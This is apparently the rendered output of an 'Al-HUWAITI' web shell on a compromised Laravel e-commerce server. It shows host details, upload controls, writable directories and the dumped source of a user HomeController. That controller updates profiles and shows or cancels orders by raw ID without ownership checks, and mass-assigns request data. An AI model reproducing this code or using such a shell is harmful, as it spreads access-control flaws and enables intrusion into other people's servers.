Al-HUWAITI Shell
Al-huwaiti


Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/ecommerce/app/Http/Controllers/Shop/User/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/ecommerce/app/Http/Controllers/Shop/User/HomeController.php
<?php

namespace App\Http\Controllers\Shop\User;

use App\Models\Order;
use App\Models\PostComment;
use App\Models\ProductReview;
use App\Rules\MatchOldPassword;
use App\Models\User;
use Hash;
use Illuminate\Http\Request;

class HomeController extends \App\Http\Controllers\Shop\Controller
{
    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Contracts\Support\Renderable
     */
    public function index()
    {
        return view('user-backend.index');
    }

    public function profile()
    {
        $profile = Auth()->user();

        return view('user-backend.users.profile')->with('profile', $profile);
    }

    public function profileUpdate(Request $request, $id)
    {
        $user = User::findOrFail($id);
        $data = $request->only([
            'first_name',
            'last_name',
            'photo',
        ]);

        $status = $user->fill($data)->save();

        if ($status) {
            request()->session()->flash('success', 'Successfully updated your profile');
        } else {
            request()->session()->flash('error', 'Please try again!');
        }

        return redirect()->back();
    }

    // Order
    public function orderIndex()
    {
        $orders = Order::with(['shipping'])
            ->where('user_id', auth()->id())
            ->latest()
            ->paginate(10);

        return view('user-backend.order.index')
            ->with('orders', $orders);
    }

    public function userOrderDelete($id)
    {
        $order = Order::find($id);

        if (!$order) {
            request()->session()->flash('error', 'Order can not found');

            return redirect()->back();
        }

        if ($order->status == 'process' || $order->status == 'delivered' || $order->status == 'cancel') {
            return redirect()->back()->with('error', 'You can not delete this order now');
        }

        if ($order->update(['status' => 'cancel'])) {
            request()->session()->flash('success', 'Order Successfully deleted');
        } else {
            request()->session()->flash('error', 'Order can not deleted');
        }

        return redirect()->route('user.order.index');
    }

    public function orderShow($id)
    {
        $order = Order::findOrFail($id);

        return view('user-backend.order.show')->with('order', $order);
    }

    // Product Review
    public function productReviewIndex()
    {
        $reviews = ProductReview::getAllUserReview();

        return view('user-backend.review.index')->with('reviews', $reviews);
    }

    public function productReviewEdit($id)
    {
        $review = ProductReview::find($id);
        // return $review;
        return view('user-backend.review.edit')->with('review', $review);
    }

    /**
     * Update the specified resource in storage.
     *
     * @param int $id
     * @param Request $request
     *
     * @return \Illuminate\Http\Response
     */
    public function productReviewUpdate(Request $request, $id)
    {
        $review = ProductReview::find($id);
        if ($review) {
            $data = $request->all();
            $status = $review->fill($data)->update();
            if ($status) {
                request()->session()->flash('success', 'Review Successfully updated');
            } else {
                request()->session()->flash('error', 'Something went wrong! Please try again!!');
            }
        } else {
            request()->session()->flash('error', 'Review not found!!');
        }

        return redirect()->route('user.productreview.index');
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param int $id
     *
     * @return \Illuminate\Http\Response
     */
    public function productReviewDelete($id)
    {
        $review = ProductReview::find($id);
        $status = $review->delete();
        if ($status) {
            request()->session()->flash('success', 'Successfully deleted review');
        } else {
            request()->session()->flash('error', 'Something went wrong! Try again');
        }

        return redirect()->route('user.productreview.index');
    }

    public function userComment()
    {
        $comments = PostComment::getAllUserComments();

        return view('user-backend.comment.index')->with('comments', $comments);
    }

    public function userCommentDelete($id)
    {
        $comment = PostComment::find($id);
        if ($comment) {
            $status = $comment->delete();
            if ($status) {
                request()->session()->flash('success', 'Post Comment successfully deleted');
            } else {
                request()->session()->flash('error', 'Error occurred please try again');
            }

            return back();
        } else {
            request()->session()->flash('error', 'Post Comment not found');

            return redirect()->back();
        }
    }

    public function userCommentEdit($id)
    {
        $comments = PostComment::find($id);
        if ($comments) {
            return view('user-backend.comment.edit')->with('comment', $comments);
        } else {
            request()->session()->flash('error', 'Comment not found');

            return redirect()->back();
        }
    }

    /**
     * Update the specified resource in storage.
     *
     * @param int $id
     * @param Request $request
     *
     * @return \Illuminate\Http\Response
     */
    public function userCommentUpdate(Request $request, $id)
    {
        $comment = PostComment::find($id);
        if ($comment) {
            $data = $request->all();
            // return $data;
            $status = $comment->fill($data)->update();
            if ($status) {
                request()->session()->flash('success', 'Comment successfully updated');
            } else {
                request()->session()->flash('error', 'Something went wrong! Please try again!!');
            }

            return redirect()->route('user.post-comment.index');
        } else {
            request()->session()->flash('error', 'Comment not found');

            return redirect()->back();
        }
    }

    public function changePassword()
    {
        return view('user-backend.layouts.userPasswordChange');
    }

    public function changPasswordStore(Request $request)
    {
        $request->validate([
            'current_password' => ['required', new MatchOldPassword()],
            'new_password' => ['required'],
            'new_confirm_password' => ['same:new_password'],
        ]);

        User::find(auth()->id())->update(['password' => Hash::make($request->new_password)]);

        return redirect()->route('user')->with('success', 'Password successfully changed');
    }
}

Al-HUWAITI Shell